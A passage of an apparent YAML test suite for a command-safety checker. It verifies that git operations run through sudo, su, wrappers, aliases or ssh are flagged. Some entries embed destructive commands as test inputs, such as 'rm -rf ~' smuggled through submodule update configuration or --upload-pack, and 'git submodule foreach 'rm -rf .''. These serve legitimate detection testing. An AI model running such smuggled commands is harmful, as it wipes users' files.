description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "runuser -u root -- git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "env sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo env git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "timeout 60 sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "nohup sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "nice sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "FOO=1 sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sh -c 'sudo git merge --no-ff feature/login'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "bash -c \"sudo git merge --no-ff feature/login\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "cd apps/web && sudo git merge --no-ff feature/login"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:merge_no_ff"]
- test: "sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "doas git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u root git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -E git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -i git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -s git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -- git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u dev git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo sh -c 'git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su -c 'git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su root -c 'git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "pkexec git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "run0 git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "runuser -u root -- git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "env sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo env git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "timeout 60 sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nohup sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nice sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "FOO=1 sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sh -c 'sudo git cherry-pick abc123'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "bash -c \"sudo git cherry-pick abc123\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "cd apps/web && sudo git cherry-pick abc123"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "doas git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u root git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -E git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -i git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -s git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -- git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo -u dev git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo sh -c 'git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su -c 'git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "su root -c 'git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "pkexec git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "run0 git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "runuser -u root -- git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "env sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo env git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "timeout 60 sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nohup sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "nice sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "FOO=1 sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sh -c 'sudo git cherry-pick --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "bash -c \"sudo git cherry-pick --continue\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "cd apps/web && sudo git cherry-pick --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:cherry_pick"]
- test: "sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "doas git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -u root git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -E git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -i git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -s git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -- git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo -u dev git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo sh -c 'git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su -c 'git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su root -c 'git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "pkexec git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "run0 git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "runuser -u root -- git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "env sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo env git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "timeout 60 sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nohup sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nice sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "FOO=1 sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sh -c 'sudo git stash pop'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "bash -c \"sudo git stash pop\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "cd apps/web && sudo git stash pop"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "doas git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -u root git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -E git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -i git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -s git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -- git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo -u dev git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo sh -c 'git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "su -c 'git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "su root -c 'git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "pkexec git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "run0 git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "runuser -u root -- git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "env sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo env git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "timeout 60 sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "nohup sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "nice sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "FOO=1 sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sh -c 'sudo git worktree add ../wt main'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "bash -c \"sudo git worktree add ../wt main\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "cd apps/web && sudo git worktree add ../wt main"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git:worktree_management"]
- test: "sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "doas git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -u root git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -E git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -i git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -s git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -- git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo -u dev git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo sh -c 'git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "su -c 'git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "su root -c 'git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "pkexec git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "run0 git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "runuser -u root -- git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "env sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo env git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "timeout 60 sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "nohup sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "nice sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "FOO=1 sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sh -c 'sudo git rebase --continue'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "bash -c \"sudo git rebase --continue\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "cd apps/web && sudo git rebase --continue"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:rebase"]
- test: "sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "doas git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -u root git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -E git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -i git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -s git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -- git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo -u dev git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo sh -c 'git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "su -c 'git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "su root -c 'git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "pkexec git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "run0 git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "runuser -u root -- git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "env sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo env git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "timeout 60 sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "nohup sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "nice sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "FOO=1 sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "sh -c 'sudo git submodule update --init --recursive'"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "bash -c \"sudo git submodule update --init --recursive\""
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "cd apps/web && sudo git submodule update --init --recursive"
description: "run as another user (or beside such a command): the bounded exemption does not apply"
expect_ids: ["git-strict:submodule_update"]
- test: "env git merge --no-ff feature/login"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "timeout 60 git cherry-pick abc123"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "nice git stash pop"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "sh -c 'git rebase --continue'"
description: "negative: a pass-through wrapper runs the same command as the same user"
expect_ids: []
- test: "sudo git apply --check fix.patch"
description: "negative: checking a patch changes nothing, whoever runs it"
expect_ids: []
- test: "git pull && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git checkout main && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git fetch && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git clone ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git submodule update --init --recursive && npm install"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git switch main && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git pull --ff-only && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git pull origin main && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git fetch --all --prune && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git checkout -b fix v1.2 && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git switch -c fix main && git submodule update --init --recursive"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git clone -q --depth 1 -b main https://example.com/r.git r && cd r && git submodule update --init"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git pull --rebase --autostash origin main && git submodule update --init --recursive && make"
description: "negative: the steps before it cannot set the command the update runs"
expect_ids: []
- test: "git config submodule.lib.update '!rm -rf ~' && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -c submodule.lib.update='!rm -rf ~' submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git config -f .git/config submodule.lib.update '!sh x.sh'; git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=submodule.lib.update GIT_CONFIG_VALUE_0='!rm -rf ~' git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && git submodule update --init --force"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init && git submodule foreach 'rm -rf .'"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone -c submodule.lib.update='!rm -rf ~' ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone --config submodule.lib.update='!rm -rf ~' ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone --template=/tmp/evil ~/remote.git /tmp/wa && cd /tmp/wa && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch --upload-pack='rm -rf ~' origin && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull --upload-pack 'rm -rf ~' && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -c submodule.lib.update='!rm -rf ~' pull && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git -C /tmp/wa pull && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git config submodule.lib.update '!rm -rf ~' & git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init && git config submodule.lib.update '!rm -rf ~' && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && sudo git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "sudo sh -c 'git pull && git submodule update --init'"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && HOME=/tmp/evil git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull && XDG_CONFIG_HOME=/tmp/evil git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull; git config --global submodule.lib.update '!rm -rf ~'; git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "echo \"git config submodule.lib.update '!rm -rf ~'\" | sh && git submodule update --init"
description: "a step before it, a prefix, a background job or a wrapper can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init 2>&1 | tail -5"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin && git submodule update --init | sh"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git clone --recurse-submodules=x https://example.com/r.git r && cd r && git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "git checkout -- . && git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update", "git:checkout_discard_all"]
- test: "git pull origin main extra && git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "env git submodule update --init"
description: "a step before it, a prefix, a background job or a pipe can change what the update runs"
expect_ids: ["git-strict:submodule_update"]
- test: "alias s=sudo; s git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "SUDO=sudo; $SUDO git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "$SUDO git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "\"${SUDO:-sudo}\" git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO:-sudo} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "chroot / git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run --uid=0 --pty git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "systemd-run -p User=root --pty git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "ssh root@localhost 'git merge --no-ff feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "please git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "sudo-rs git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "gosu root git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "su-exec root git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "nsenter -t 1 -a git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "alias s=sudo; s git merge --no-ff --no-edit feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "SUDO=sudo; $SUDO git merge --no-ff --no-edit feature/login"
